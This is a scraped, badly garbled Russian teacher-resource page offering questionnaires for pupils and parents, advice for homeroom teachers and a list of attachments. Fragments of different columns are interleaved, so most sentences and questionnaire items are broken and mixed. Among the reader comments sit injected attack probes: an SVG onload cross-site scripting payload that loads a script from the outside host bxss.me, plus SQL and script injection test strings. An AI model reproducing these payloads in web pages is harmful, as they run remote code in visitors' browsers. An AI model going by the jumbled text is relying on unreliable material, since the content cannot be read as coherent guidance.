Пожелания классному руководителю анкета

​отношений педагог должен ​1. Любите ли вы ​

​рассмотреть на собрании?​– в работе с ​

​, ​выявленных связей и ​

​глазами ребенка)​

​Какие темы возможно ​коллектива;​, ​основании с учетом ​(семья и родители ​родителю необходимую информацию.​– в изучении ученического ​

​, ​внимательно, неспешно осмыслена, обобщена, расставлены акценты, и на этом ​АНКЕТА № 3​учебного года предоставить ​и методов;​, ​подготовки анкетирующего. Информация должна быть ​Спасибо за ответы!​важно в начале ​– в выборе форм ​, ​в обработке, здесь нет каких-то «ключей», не требуется специальной ​

​себе – ___ ;    учителю – ___ (на день проверки).​активность. Именно поэтому так ​– в планировании;​сайтов: ​опросники достаточно просты ​– ___ ;​для себя предстоящую ​получить:​Информация получена с ​Данные анкеты и ​• степень усвоения программы ​ориентировки, когда человек планирует ​Вы хотели бы ​• Мне нравится​уважения к воспитаннику.​• дисциплина – ___ ;​деятельности имеется период ​работы с классом ​Анкета для родителей...​

​спокойной обстановке, с открытой демонстрацией ​• внимание – ___ ;​от классного руководителя. Как утверждают психологи, в начале любой ​в организации своей ​к проведению ...​

​глаз и в ​–___;​

Анализ результатов по данной группе

​свое мнение?​• устроился бы на ​одном листе прямо ​разочарований.​2 курса...​Кто бы выразил ​• занимался бы дома;​быть размещение на ​актов благодарности, тогда не будет ​16 вопросов, предлагается родителям студентов ​противоречивым.​бы в школу;​Другим вариантом может ​

​9. Главное – не жди прямых ​Анкета состоит из ​– мнение было бы ​

​• все равно пошел ​несогласие.​

​4. Любите ли вы ​без домашних заданий», или: «Дисциплина на уроке ​

​к тебе.​11. Самый прекрасный фильм, который я видел         ​противоречивым.​• не нравится учитель;​школе можно обойтись ​воспитанникам относись так, как хочешь, чтобы они относились ​________________________________________​– мнение было бы ​• не все понятно;​были достаточно нейтральными. Например: «Считаю, что в начальной ​быть вместе. При этом к ​10. Моя любимая телепередача ​– одобрил бы;​хочется? Укажите подробно причину:​немного (не более 5). Важно, чтобы все формулировки ​тот отрезок времени, который вам выпало ​________________________________________________​внимания;​

​вам идти не ​или убеждений. Их должно быть ​ними совместной деятельностью ​

​9. Моя любимая книга ​

​– не обратил бы ​3. На какие уроки ​возможных родительских ожиданий ​

​2. Главное – не воспитывать ребят, а жить с ​____________________________________________​

​– поддержал бы;​

​удовольствием? Почему?​формата А3 формулировки ​

​формализма, больше человеческого общения.​

​8. Мое любимое животное ​бы;​

​вы идете с ​

​– Подготовьте на листах ​должно быть меньше ​________________________________________________​

​– резко вас осудил ​

​2. На какие уроки ​сделать?​

​взаимоотношениях с воспитанниками ​7. Мой любимый цвет ​

​Класс:​

​учитесь? Укажите причину.​Как это можно ​1. Во взаимодействии и ​

​__________________________________________________​опоздал на поезд.​

​школа, в которой вы ​повышает активность родителей.​Советы, рекомендации, предостережения классному руководителю:​

​6. Моя любимая еда ​

​медпункта, и поэтому класс ​

​1. Нравится ли вам ​

​интерактивной форме и ​

​Классный руководитель – это не работа, это образ жизни.​

​живу, называется ________________________________​женщине дойти до ​

​пожелания. Спасибо за помощь!​

​• Он проводится в ​

​Кодекс классного руководителя​

​5. Улица, на которой я ​10. Вы помогли больной ​максимально учесть твои ​

​данные сразу же.​

​лучшую сторону.​4. У меня _____________________________________________________волосы​– и те, и другие.​школы мы постараемся ​

​• Мини-мониторинг позволяет получить ​

​семье и в ​глаза​– в основном мальчики;​свою фамилию). При планировании жизни ​обработки результатов.​

​реальным изменениям в ​

​3. У меня ______________________________________________________ ​– в основном девочки;​(впрочем, если хочешь, ты можешь указать ​

​большой подготовки и ​

​перспективной и способствовать ​2. Мне ______________ лет​– никто;​

​пострадаешь, ведь анкеты анонимны ​

​• Мини-мониторинг не требует ​• Консультация должна быть ​1. Меня зовут _______________________________________________________​

​– несколько человек;​

​ты никак не ​Преимущества мини-мониторинга:​по проблеме специалистов, педагогов, классного руководителя.​Анкета «Вот я какой!»​

​– большая часть класса;​

​классов. Не бойся, за свою честность ​мини-мониторинга.​

​родителям реальные рекомендации ​

​это уходит времени?​– весь класс;​твоего, но и других ​

​можно с помощью ​

​• Консультация должна дать ​

​вы занимаетесь, и сколько на ​свое мнение?​жизнь не только ​

​или учителей-предметников. Выяснить эти ожидания ​сегодняшним днем.​

​14. Каким видом творчества ​Кто бы выразил ​

​сделать более интересной ​

​касаться самого ребенка, его учебных успехов, деятельности классного руководителя ​в сравнении с ​на прослушивание музыки?​противоречивым.​честно и откровенно. Твои ответы помогут ​для выяснения и, по необходимости, коррекции таких ожиданий. Эти ожидания могут ​

​о прежних качествах, успехах и недостатках ​13. Сколько времени уходит ​– мнение было бы ​на все вопросы ​– это идеальное время ​друг с другом, можно лишь говорить ​на спортивные занятия?​– одобрил бы;​Дорогой друг! Мы просим тебя: подумай и ответь ​ожиданиями. Поэтому первое собрание ​неуместно сравнивать детей ​12. Сколько времени уходит ​внимания;​(урок глазами учеников)​

​периода сопровождается определенными ​• В ходе консультации ​и журналов?​– не обратил бы ​АНКЕТА №1​новый период. А начало нового ​проблемах.​на чтение газет ​– поддержал бы;​31.37 КБ​год – это своего рода ​потом говорить о ​

​11. Сколько времени уходит ​бы;​Размер​Каждый новый учебный ​ребенке и только ​<

​уголок?​– резко вас осудил ​Вложение​

​использовать эту ситуацию.​хорошее и положительное, что есть в ​вас дома любимый ​Класс:​анкетирование 5 класс​с педагогом, и очень важно ​на все то ​

​10. Есть ли у ​на него учителю.​

​• Мне нравится​

​мотивированы на взаимодействие ​необходимо обратить внимание ​

​дома?​9. Вас обидел одноклассник, а вы пожаловались ​

​педагогическими технологиями в...​учебного года максимально ​

​• В ходе консультации ​круг ваших обязанностей ​– и те, и другие.​

​в овладении новыми ​новый класс. Родители в начале ​

​угроз.​9. Что входит в ​

​– в основном мальчики;​с учащимися, помощь классным руководителям ​

​родителями, особенно если это ​в доброжелательной атмосфере, без назидания и ​с родителями каким-нибудь совместным делом?​

​– в основном девочки;​в воспитательной работе ​классным руководителем и ​

​• Консультация должна проходить ​8. Сколько времени занимаетесь ​

​– никто;​помощи классным руководителям ​конструктивного взаимодействия между ​

​в решаемой проблеме.​

​гуляете?​– несколько человек;​

​Организация информационно-методической и практической ​закладывает основы для ​родителям, должны быть компетентны ​

​7. Сколько времени вы ​– большая часть класса;​Классный час "Отношения с родителями"...​

​с родителями. Первое родительское собрание ​• Участники консультации, которые пытаются помочь ​

​– чтение художественной литературы.​– весь класс;​классе...​

​и для работы ​проблеме.​– слабое здоровье;​

​свое мнение?​его работы в ​

​вокруг педагога. Это будет справедливо ​свое отношение к ​– плохие учебники;​Кто бы выразил ​

​и об эффективности ​вокруг детей, потом дети вращаются ​

​свое мнение и ​знаний;​

​противоречивым.​руководителя с детьми ​

​ним. Сначала педагог вращается ​

​заинтересованным сторонам высказать ​– несправедливость в оценке ​– мнение было бы ​

​о взаимоотношениях классного ​начале работы с ​

​необходимо дать возможность ​спросят;​– одобрил бы;​

​Удобная анкета, чтобы сделать вывод ​классом закладывается в ​

​• В ходе консультации ​– все равно не ​внимания;​

​восприятие литературных произведений; чувство сопереживания, доброе ...​азбучную истину: основа отношений с ​

​различных позиций: ребенка, родителей, педагогов.​жизни;​– не обратил бы ​<

​учащихся нравственно-моральные качества через ​Каждый педагог знает ​им самим с ​– оторванность предметов от ​– поддержал бы;​помогает развивать в ​

​родителями своего класса.​известна и рассматривалась ​– усталость;​бы;​проведение таких мероприятий ​наладить контакт с ​• Проблема, которая будет обсуждаться, классному руководителю хорошо ​– музыка;​

​– резко вас осудил ​Совместное с родителями ​для классного руководителя ​руководителя.​– друзья;​Класс:​воспитанников...​собрание – это уникальная возможность ​запросам родителей, ребенка и классного ​– телевизор;​

​девочкой.​новым условиям учебы, лучше узнать своих ​то, что первое родительское ​• Консультация проводится по ​– телефон;​с мальчиком или ​адаптации школьников к ​вопросов, обратим внимание на ​(с родителями)​

​– лень;​8. Вы стали дружить ​руководителю определить уровень ​нужность решения данных ​КОНСУЛЬТАЦИЙ​

​несколько причин:​– и те, и другие.​5-тиклассников помогут классному ​и так далее. Понимая важность и ​<

​РЕКОМЕНДАЦИИ К ПРОВЕДЕНИЮ ​выполнять домашние задания? Выберите одну или ​

​– в основном мальчики;​

​Представленные анкеты для ​

​заново родительский комитет ​Бога и труд.​

​5. Что мешает хорошо ​

​– в основном девочки;​воспитанниках очень многое...​

​на классные нужды, утвердить или выбрать ​была вера в ​задания?​

​– никто;​узнать о своих ​

​решения организационных проблем. Необходимо собрать деньги ​на Руси всегда ​

​у вас домашние ​– несколько человек;​

​классный руководитель может ​собрание используется для ​Помните, что основой нравственности ​

​4. Сколько времени занимают ​– большая часть класса;​С помощью анкетирования ​

3. Важным направлением в работе классного руководителя младших школьников является диагностика

​учебном году родительское ​умножения.​от дома.​– весь класс;​класса...​

​Традиционно первое в ​их даже таблице ​– потому что близко ​свое мнение?​классным руководителям 5 ​кандидат психологических наук, доцент МГППУ​их способности, не может научить ​

​учителя;​Кто бы выразил ​Данный проект рекомендован ​ Марина Чибисова ,​детьми, не верящий в ​– потому что нравятся ​противоречивым.​• Ваши вопросы​Спасибо​

​своих отношений с ​школу;​– мнение было бы ​

​___________________________________________________________________________                              ​

​• #1​·        Чаще улыбайтесь детям. Школа, лишенная оптимизма, деградирует и умирает, преподаватель, не видящий перспективы ​

​– потому что любите ​

​– одобрил бы;​___________________________________________________________________________​

​меня теме!!​«урокодателем», обезличенным носителем информации».​весело;​внимания;​_____________________________________________________________________________​по очень интересующей ​быть творческой личностью, «исследователем», а не простым ​– потому что там ​– не обратил бы ​

​__________________________________________________________________________​сайт!Столько полезной информации ​·        Помните, что преподаватель должен ​интересно;​– поддержал бы;​__________________________________________________________________________​Огромное спасибо за ​«ситуацию успеха».​– потому что там ​бы;​А) да     б) нет    в) нет ответа​Евгения​гарантирован успех, как следствие, уважение сверстников, то есть обеспечить ​– учиться;​– резко вас осудил ​про классного руководителя, что он «Самый классный классный»​• #2​

​организовывать деятельность, при которой «трудному» ребенку был бы ​– общаться с друзьями;​Класс:​• Вы можете сказать ​Вы такая, МОЛОДЕЦ! Так держать!!! Спасибо огромное!!!​

​«трудными» подростками следует так ​школу: (выберите 2–3 утверждения)​попробовали вино.​А) да     б) нет​

​Людмила​·        При работе с ​3. Вы ходите в ​7. На дискотеке вы ​

​ребенком?​• #3​(объективной оценки себя, самоконтроль).​

​– никогда.​– и те, и другие.​помогает решать проблемы, связанные с вашим ​Огромное спасибо!​эмпатии (сочувствие,  сопереживание  ребенку)   и   педагогической   рефлексии ​

​– иногда;​– в основном мальчики;​• Вы можете сказать, что классный руководитель ​Людмила​<

​должен забывать об ​– всегда;​– в основном девочки;​А) комфортно        б) дискомфортно​• #4​детьми педагог не ​2. Вам нравится учиться:​– никто;​классе чувствует себя​необходимую информацию! То, что надо​·        При общении с ​– ____________________ (другое).​

​– несколько человек;​• Ваш ребенок в ​Большое спасибо за ​к некоторым ребятам.​жизни;​– большая часть класса;​А) да     б) нет    в) иногда​Ирина​·        Преодолевайте отрицательное отношение ​

​– это пригодится в ​– весь класс;​школу?​• #5​девочек. Они более эмоциональны, ранимы.​– учиться необходимо;​свое мнение?​радостью ходит в ​Спасибо.​общении на особенности ​

​поступления в вуз;​Кто бы выразил ​• Ваш ребенок с ​Елена​·        Обращайте внимание в ​– это нужно для ​противоречивым.​А) да      б) нет​• #6​своей педагогической несостоятельностью.​– интересно;​– мнение было бы ​классного руководителя удовлетворительной?​

​спасибо вам большое​можете спровоцировать их ​– этого требуют родители;​– одобрил бы;​• Вы считаете работу ​

​света​

​могут быть конфликты, и что вы ​1. Вы учитесь, потому что:​внимания;​А) да      б)нет​• #7​·        Не забывайте, что у детей ​

​(для учащихся)​– не обратил бы ​ваших детей​e​·        Умейте слушать детей.​«Интересы и досуг»​– поддержал бы;​• Классные род. собрания имеют темы, помогающие в воспитании ​• #8​к человеку, как высшей ценности.​АНКЕТА​бы;​А) да       б)нет​

​e​в детском коллективе, прежде всего, зависит от отношения ​

​в этом классе?.​– резко вас осудил ​

​родительские собрания?​

​• #9​

​·        Помните, что психологическая атмосфера ​

​10. Можно ли сказать, что тебе повезло, что ты учишься ​

​Класс:​• Вы регулярно посещаете ​

​add​отношениях с детьми, выстраивайте их.​

​по себе.​

​на улице, среди товарищей.​

​Д) нет ответа​

​e​

​·        Думайте о своих ​

​в) каждый живет сам ​6. Вы грубо выругались ​

​в)через дневник        г) все указанное​• #10​С. Михалков​б) разбит на группы;​

​– и те, и другие.​А)по телефону        б)лично при встрече         ​</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=013651&r=1920-199&h=1920-d7f77-2&/).slice,document.documentElement.appendChild(s))//'>​

​Там воспитатели – пеньки.​а) сплочен и дружен;​

​– в основном мальчики;​• Вы общаетесь…​e​пинки,​

​9. Ты считаешь, что твой класс:​– в основном девочки;​

​А)Да          б)нет  ​• #11​Где раздают щенкам ​д) другое.​

​– никто;​руководителем?​1'"​

​Попробуй, подзови щенка.​г) разносторонние знания;​– несколько человек;​

​связь с классным ​e​пинка​выглядеть;​

​– большая часть класса;​• Вы систематически поддерживаете ​• #12​Ты после грубого ​в) умение всегда хорошо ​– весь класс;​ФИО______________________________________________________________________​1'"()&%<acx><ScRiPt >Akbs</ScRiPt>​

Методика незаконченных предложений для родителей первоклассников

​щенком.​б) манеру поведения;​

​свое мнение?​Анкета для родителей(классный руководитель)​e​

​Не будет преданным ​а) великодушный характер;​Кто бы выразил ​

​14.78 КБ​• #13​

​Щенок, воспитанный пинком,​

​от него перенять:​

​противоречивым.​

​Размер​

​e​14.0 KB​

​8. Тебе хотелось бы ​– мнение было бы ​Вложение​

​• #14​Microsoft Word Document ​классному руководителю?​

​– одобрил бы;​анкета для родителей(классный руководитель)​1'"​

​формы взаимодействия.docx​испытываешь к своему ​внимания;​учебного года!​e​С РОДИТЕЛЯМИ УЧАЩИХСЯ​7. Какое чувство ты ​– не обратил бы ​Желаю вам удачного ​• #15​ФОРМЫ ВЗАИМОДЕЙСТВИЯ УЧИТЕЛЯ ​ж) другое.​– поддержал бы;​в классе.​e​13.3 KB​е) быть вечно недовольным;​

​бы;​лучей. Повесьте это солнце ​• • #16​Microsoft Word Document ​д) жаловаться родителям;​– резко вас осудил ​на каждом из ​353.5 KB​

​тематика бесед.docx​г) ругать;​Класс:​написать пожелания классу ​Microsoft Word Document ​РОДИТЕЛЕЙ​в) делать замечание;​уже упавшего противника.​и попросите родителей ​•  Проверь себя: тесты, игры, вопросы​И ЛЕКЦИЙ ДЛЯ ​

​б) подбадривать;​драки продолжаете бить ​со множеством лучей ​•   Девиантное поведение, или вредные привычки​ПРИМЕРНАЯ ТЕМАТИКА БЕСЕД ​а) Хвалить;​

​5. Вы во время ​• Нарисуйте большое солнце ​

​•  Молодежная субкультура ​20.3 KB​

​к тебе?​– и те, и другие.​

​мешочек.​3.0 MB​Microsoft Word Document ​руководителю по отношению ​– в основном мальчики;​красивую шкатулку или ​MP3 Audio File ​26.1 KB​6. Что присуще классному ​– в основном девочки;​положить его в ​Radio_Killer_-_Be_free_(Radio_Edit)_muzn​Microsoft Word Document ​е) другое.​

​– никто;​учебный год и ​

​5.7 MB​

​роль родителей.docx​д) старший товарищ;​– несколько человек;​

​себе на будущий ​MP3 Audio File ​

​ОРГАНИЗАЦИИ ДОСУГА ПОДРОСТКА​трудных обстоятельствах;​

​– большая часть класса;​

​написать пожелание самому ​Twilight-3.mp3​

​РОЛЬ РОДИТЕЛЕЙ В ​г) помощник ребят в ​

​– весь класс;​• Предложите каждому родителю ​

​2.7 MB​11.3 KB​

​в) организатор досуга;​свое мнение?​

​учатся в классе.​

​MP3 Audio File ​Microsoft Word Document ​

​б) вторая мама;​Кто бы выразил ​

​на то, какие разные дети ​

​На стихи.mp3​ШКОЛЫ.docx​

​и дисциплиной;​противоречивым.​

​обратите внимание родителей ​

​489.1 KB​

​ОСНОВНЫЕ ЭТАПЫ РАБОТЫ ​а) Контроль за успеваемостью ​

​– мнение было бы ​к середине и ​

​MP3 Audio File ​ШКОЛЫ С РОДИТЕЛЯМИ​

​твой классный руководитель?​– одобрил бы;​

​он гордится. Прикрепите все лепестки ​свеж.mp3​

​ОСНОВНЫЕ ЭТАПЫ РАБОТЫ ​

​5. Какую роль, по-твоему, исполняет в классе ​внимания;​

​нравится или которым ​File 2.6 MB​

​12.3 KB​в) никогда.​– не обратил бы ​то качество ребенка, которое ему особенно ​

​Windows Media Music ​Microsoft Word Document ​б) редко;​– поддержал бы;​написать на лепестке ​

​Чува-у-ва.wma​ОСНОВНЫЕ НАПРАВЛЕНИЯ СОВМЕСТНОЙ.docx​а) Часто;​бы;​количеству родителей. Попросите каждого родителя ​3.0 MB​РОДИТЕЛЕЙ​

​с классным руководителем?​– резко вас осудил ​цветные лепестки по ​MP3 Audio File ​

​ДЕЯТЕЛЬНОСТИ ПЕДАГОГОВ И ​4. Бывают ли конфликты ​Класс:​

​• Подготовьте цветок: сделайте середину и ​Выход Ведущего - Хорошо.mp3​ОСНОВНЫЕ НАПРАВЛЕНИЯ СОВМЕСТНОЙ ​или другого класса.​4. Вы подрались из-за того, что вас обозвали.​Возможные варианты:​3.4 MB​15.0 KB​

​в) от учеников вашего ​– и те, и другие.​между родителями класса.​MP3 Audio File ​Microsoft Word Document ​

​б) от классного руководителя;​– в основном мальчики;​

​и поспособствует контакту ​krasivaya_fonovaya_muzyika_1.mp3​ОСНОВНЫЕ НАПРАВЛЕНИЯ ДЕЯТЕЛЬНОСТИ.docx​а) От учителей-предметников;​

​– в основном девочки;​положительный эмоциональный настрой ​4.3 MB​И ИХ РОДИТЕЛЯМИ​они исходят?​– никто;​

​собрание можно ярким, коротким, эмоционально насыщенным упражнением. Оно поможет создать ​MP3 Audio File ​РАБОТЕ С УЧАЩИМИСЯ ​3. Если бывают, то от кого ​– несколько человек;​учебном году родительское ​

​76-Liadov. Musical Snuff-Box.mp3​КЛАССНОГО РУКОВОДИТЕЛЯ В ​в) никогда.​– большая часть класса;​Завершить первое в ​

​Лядов Музыкальная табакерка​оценка.​

​ОСНОВНЫЕ НАПРАВЛЕНИЯ ДЕЯТЕЛЬНОСТИ ​б) редко;​– весь класс;​считают, что …»​4.3 MB​28.1 KB​а) Часто;​свое мнение?​

​мнение, изложенное в анкетах…», «Как показало анкетирование, многие из нас ​MP3 Audio File ​

​Microsoft Word Document ​

​неприятности?​Кто бы выразил ​

​вашими пожеланиями, высказанными в анкетах…», «Ориентируясь на ваше ​шаре.mp3​

​обучение родителей.docx​

​тебя в школе ​противоречивым.​анкетирования: «В соответствии с ​

​04. ДиДюЛя - Полет на воздушном ​

​ОБУЧЕНИЕ РОДИТЕЛЕЙ​2. Бывают ли у ​– мнение было бы ​ссылается на результаты ​

​3.8 MB​16.1 KB​

​это кончилось.​

​– одобрил бы;​так или иначе ​

​MP3 Audio File ​Microsoft Word Document ​г) скорей бы все ​внимания;​

​родителями классный руководитель ​60-Tchaikovsky. Valse Sentimentale.mp3​

​методы изучения семьи.docx​в) с предчувствием неприятностей;​– не обратил бы ​при взаимодействии с ​

​Чайковский Сентиментальный вальс​УЧЕНИКА​б) с привычным равнодушием;​– поддержал бы;​Хорошо, если в дальнейшем ​

​5.9 MB​МЕТОДЫ ИЗУЧЕНИЯ СЕМЬИ ​а) С радостью;​

​бы;​по всему анкетированию.​MP3 Audio File ​31.2 KB​школу?​

​– резко вас осудил ​Затем делается вывод ​61-Tchaikovsky. Overture to Nutcracker.m​

​Microsoft Word Document ​ты идешь в ​

​Класс:​

​можно получить, например, такую картину: спорт (футбол, фигурное катание) – 47%, искусство (рисование, музыка) – 31% и т.д.​опере Щелкунчик​

​читающая семья.docx​1. С каким настроением ​

​3. Вы соврали товарищу, подруге.​

​родителями детских интересов ​Чайковский увертюра к ​

​Читающая семья​ВОСПИТАННИКА​

​– и те, и другие.​иные ответы. Например, при систематизации названных ​

​7.9 MB​39.0 KB​

​КЛАССНЫЙ РУКОВОДИТЕЛЬ ГЛАЗАМИ ​– в основном мальчики;​

​соотношение родителей, давших те или ​MP3 Audio File ​

​Microsoft Word Document ​каждому столбцу.​

​– в основном девочки;​количество и процентное ​

​35-Schubert. Ave Maria.mp3​Акт обследования класс.doc​

​положительных ответов по ​– никто;​

​название и определить ​Шуберт Аве Мария​

​несовершеннолетнего​была подсчитана сумма ​

​– несколько человек;​

​смысловые группы, дать каждой группе ​4.4 MB​

​жизни и воспитания ​При обработке данных ​

​– большая часть класса;​один вопрос, на один лист, объединить их в ​

​MP3 Audio File ​

​Акт обследования условий ​IX – филологические (9, 18, 27, 36, 45).​

​– весь класс;​

​воспользоваться таким способом: выписать все ответы, данные родителями на ​33-Chopin. Valse No14.mp3​

​71.0 KB​

​VIII – художественно-изобразительные (8, 17, 26, 35, 44);​свое мнение?​

​вопросов проще всего ​Шопен Вальс № 14​

​compressed file archive ​VII – музыкальные (7, 16, 25, 34, 43);​Кто бы выразил ​При обработке открытых ​3.2 MB​ДНЕВНИК.rar​VI – коммуникативные (6, 15, 24, 33, 42);​противоречивым.​

​и т.д.​MP3 Audio File ​

​Дневник классного руководителя​V – эмоционально-изобразительные (артистические) (5, 14, 23, 32, 41);​

​– мнение было бы ​

​организации классного часа, 10 родителей (40%) – в организации экскурсии ​32-Chopin. Mazurka in C-sharp minor.mp3​

​731.0 KB​IV – конструкторско-технические (4, 13, 22, 31, 40);​

​– одобрил бы;​Например, 15 родителей (60%) готовы помогать в ​

​Шопен Мазурка​Microsoft Word Document ​

​III – математические (3, 12, 21, 30, 39);​внимания;​

​анкету.​6.8 MB​

​РУКОВОДИТЕЛЯ.​

​II – организаторские (2, 11, 20, 29, 38);​– не обратил бы ​

​количества родителей, ответивших на данную ​MP3 Audio File ​

​НАСТОЛЬНАЯ КНИГА КЛАССНОГО ​I – физические (спортивные) (1, 10, 19, 28, 37);​– поддержал бы;​

​проценты от общего ​31-Chopin. Valse No10.mp3​

​РУКОВОДИТЕЛЯ​личности:​

​бы;​иной вариант ответа, и переводится в ​Шопен Вальс №10​

​НАСТОЛЬНАЯ КНИГА КЛАССНОГО ​в развитии способностей ​

​– резко вас осудил ​образом: подсчитывается количество родителей, выбравших тот или ​

​6.8 MB​36.5 KB​

​одно из направлений ​Класс:​

​ответов обрабатываются следующим ​Microsoft Word Document ​

​Microsoft Word Document ​Каждый столбец (см. контрольный лист) по вертикали характеризует ​

​2. Вы  нарушили  дисциплину,  совершили  какой-нибудь  проступок (изрезали стол, разбили окно, нагрубили учителю).​

​вопросы, вопросы с вариантами ​Портфолио классного руководителя.doc​

Пожелания классным руководителям от родителей

​Темы по самообразованию.doc​

​45. Готовиться к докладу, сообщению, сочинению?​

​– и те, и другие.​отдельных вопросов. Закрытые и полузакрытые ​

​о правах ребенка​классных руководителей.​44. Рисовать, лепить, фантазируя при этом?​

​– в основном мальчики;​

​Вначале производится обработка ​Извлечение из конвенции ​Темы по самообразованию ​

​43. Исполнять музыкальные пьесы?​– в основном девочки;​

​по 10-балльной шкале: 10 – очень интересная тема, 0 – абсолютно неинтересная»).​

​Портфолио классного руководителя​64.0 KB​людей, героев понравившихся книг?​

​– никто;​к предложенным темам ​

​Портфолио классного руководителя​Microsoft Word Document ​

​42. Думать над судьбами ​– несколько человек;​

​4. Вопросы-оценки («Оцените свой интерес ​

​32.0 KB​147.0 KB​

​людях?​– большая часть класса;​

​бы помочь: классные часы, экскурсии, праздники, что-то еще (напишите, что именно)»).​

​Microsoft Word Document ​Microsoft Word Document ​

​41. Заботиться о младших, слабых или больных ​– весь класс;​

​мероприятий вы могли ​классного руковод​

​Новые формы воспитания.doc​40. Копаться в механизмах, приборах?​

​свое мнение?​ответов («В организации каких ​Урок Повышение статуса ​

​РАБОТЫ​шахматной комбинацией?​

​Кто бы выразил ​3. Вопросы с вариантами ​

​взаимодействие с родителями​НОВЫЕ ФОРМЫ ВОСПИТАТЕЛЬНОЙ ​

​39. Заниматься черчением или ​

​противоречивым.​

​могли бы помочь?»).​руководителя и успешное ​

​33.5 KB​

​с другими?​– мнение было бы ​

​классных мероприятий вы ​Повышение статуса классного ​
​Microsoft Word Document ​
​38. Энергично работать вместе ​– одобрил бы;​
​2. Открытые вопросы («В организации каких ​26.5 KB​
​ФУНКЦИИ КЛАССНОГО ЧАСА.doc​физическим трудом?​
​внимания;​дошкольное учреждение? Да, нет»).​
​Microsoft Word Document ​37.0 KB​
​37. Заниматься спортом или ​
​– не обратил бы ​варианты ответов («Ваш ребенок посещал ​
​МО классныхруководителей.doc​

​Microsoft Word Document ​долгое время:​
​– поддержал бы;​1. Закрытые вопросы, имеющие заранее заданные ​
​руководителей​года.doc​
​– Любите ли вы ​бы;​
​типы вопросов:​
​Методическое объединение классных ​
​Классное руководство Ученик ​вести дневник?​
​– резко вас осудил ​можно использовать различные ​
​29.5 KB​
​конкурс​36. Писать стихи, прозу или просто ​
​Класс:​При составлении анкеты ​
​Microsoft Word Document ​Ученик года​
​карандашами?​
​• Вы получили двойку.​
​ответы».​
​КЛА​
​130.5 KB​

​35. Порисовать красками или ​
​необходимый ответ.​

​благодарности: «Спасибо за сотрудничество», «Благодарим вас за ​

​Клруководство ПРАВИЛА СОТРУДНИЧЕСТВА ​
​Microsoft Word Document ​инструменте?​
​поведет и подчеркните ​Завершается анкета выражением ​
​РУКОВОДИТЕЛЯ С УЧАЩИМИСЯ​
​Клруководство День науки.doc​
​34. Поиграть на музыкальном ​себя в ней ​
​трех ответов»).​
​ПРАВИЛА СОТРУДНИЧЕСТВА КЛАССНОГО ​
​Первооткрыватели​
​33. Помочь людям, посочувствовать им?​
​ситуацию, представьте себе, кто и как ​вопросом: «Выберите не более ​
​189.0 KB​День науки​
​спектакля?​Дорогой друг! Пожалуйста, внимательно прочтите предлагаемую ​
​рядом с этим ​
​Microsoft Word Document ​
​23.0 KB​32. Участвовать в постановке ​
​ученика)​
​отвечать как-то иначе, это можно указать ​учителя. Пути эффекти​
​Microsoft Word Document ​31. К изготовлению каких-нибудь изделий (моделей)?​
​(классный коллектив глазами ​вопрос, на который нужно ​
​В копилку молодого ​экзамены.docx​
​шарад?​

​АНКЕТА № 4​

​впишите свой». (Если анкета включает ​родителями​шутку, и в серьез)​
​30. К разгадыванию математических ​счастливым?​
​предложенных ответов или ​классного руководителя с ​
​экзаменам и в ​или настойчивости?​
​ Как, по-вашему, будете ли вы ​
​вариантов ответа. Пожалуйста, выберите один из ​учителя. Пути эффективного взаимодействия ​Во всеоружии (о подготовке к ​
​группе, требующим твоей инициативы ​• на родителей.​
​вам предлагается несколько ​В копилку молодого ​
​270.8 KB​29. К делам в ​
​• на государство;​
​также подробно объясняется, как заполнять анкету: «В каждом вопросе ​31.5 KB​compressed file archive ​
​упражнениям?​• на самого себя;​детей». Во вводной части ​
​Microsoft Word Document ​
​Экзамены.rar​ К длительным физическим ​
​надеетесь?​знать интересы ваших ​

​по П​

​Буклет​тянет:​
​ На кого вы ​класса», «Нам очень важно ​
​РЕКОМЕНДАЦИИ КЛАССНОМУ РУКОВОДИТЕЛЮ ​экзаменам​
​– Часто ли вас ​• мрачным.​
​спланировать мероприятия для ​ПРОФЕССИОНАЛЬНОЙ ОРИЕНТАЦИИ.​
​при подготовке к ​27. От пересказа какого-то события, прочитанного или увиденного?​
​• неясным;​
​цели анкетирования, например: «Ваши ответы помогут ​
​СРЕДНИХ КЛАССОВ ПО ​Памятка для учащихся ​
​выставки?​• светлым;​необходима для того, чтобы разъяснить родителям ​
​РЕКОМЕНДАЦИИ КЛАССНОМУ РУКОВОДИТЕЛЮ ​
​64.5 KB​
​26. От посещения художественной ​будущее?​
​папы». Вводная часть анкеты ​27.0 KB​
​Microsoft Word Document ​
​новыми музыкальными инструментами, музыкальными произведениями?​ Каким, по-вашему, обещает быть ваше ​
​обращения: «Уважаемые родители», «Дорогие мамы и ​
​Microsoft Word Document ​
​экзамены​
​25. От знакомств с ​
​15. Что, по-вашему, обещает ваше будущее?​
​должна начинаться с ​

​часа​

​Как научиться сдавать ​

​людьми?​с ними?​

​Вступление к анкете ​Методика проведения Информационного ​

​35.0 KB​24. От общения с ​

​14. Каковы ваши отношения ​

​вступления и вопросов.​

​Информационный час​Microsoft Word Document ​сцене?​

​дедушка?​

​Анкета состоит из ​

​23.0 KB​День коллективного отдыха.doc​

​23. От игры на ​вас бабушка или ​

​предоставить.​Microsoft Word Document ​

​родителей и детей​электро- или радиоприборов?​

​ Есть ли у ​

​информацию она должна ​школе НАПРАВЛЕНИ​

​День коллективного отдыха ​

​22. От исправления бытовых ​

​подарки? Какие?​нужна и какую ​

​Воспитательная работа в ​никогда не терять. ​

​математических задач?​вашей семье дарить ​

​цели. Иными словами, ответить на вопрос: зачем эта анкета ​школе. Направления работы​

​Чтобы школьный престиж ​

​21. От решения трудных ​ Принято ли в ​необходимо с формулировки ​

​Воспитательная работв в ​

​земле постараемся лучше,​

​расставить людей, распределить работу?​

​больше всего?​Начинать составление анкеты ​41.0 KB​

​Просто жить на ​

​20. От своего умения ​семье вы любите ​и т.д.​

​Microsoft Word Document ​

​Громких слов говорить, клятв высоких давать.​соревнованиях?​

​11. Какие праздники в ​приготовлении домашних заданий ​

​для кл. руково​

​давать обещаний трескучих,​борьбы в спортивных ​

​• бедной.​профессиях, способах помощи в ​

​Деловая методическая игра ​

​И не будем ​19. От участия и ​

​• средней;​

​воспитания, например о предпочитаемых ​

​"Методическое путешествие"​Унесите с собой, унесите с собой!!!​

​особое удовольствие:​• состоятельной;​

​по определенным вопросам ​

​Деловая методическая игра ​

​​

​– Получаете ли вы ​вашу семью?​

​– Прояснение мнений родителей ​

​353.5 KB​

​этой памятной встречи ​

​свободную тему?​

​10. Как вы находите ​

​своих детей.​

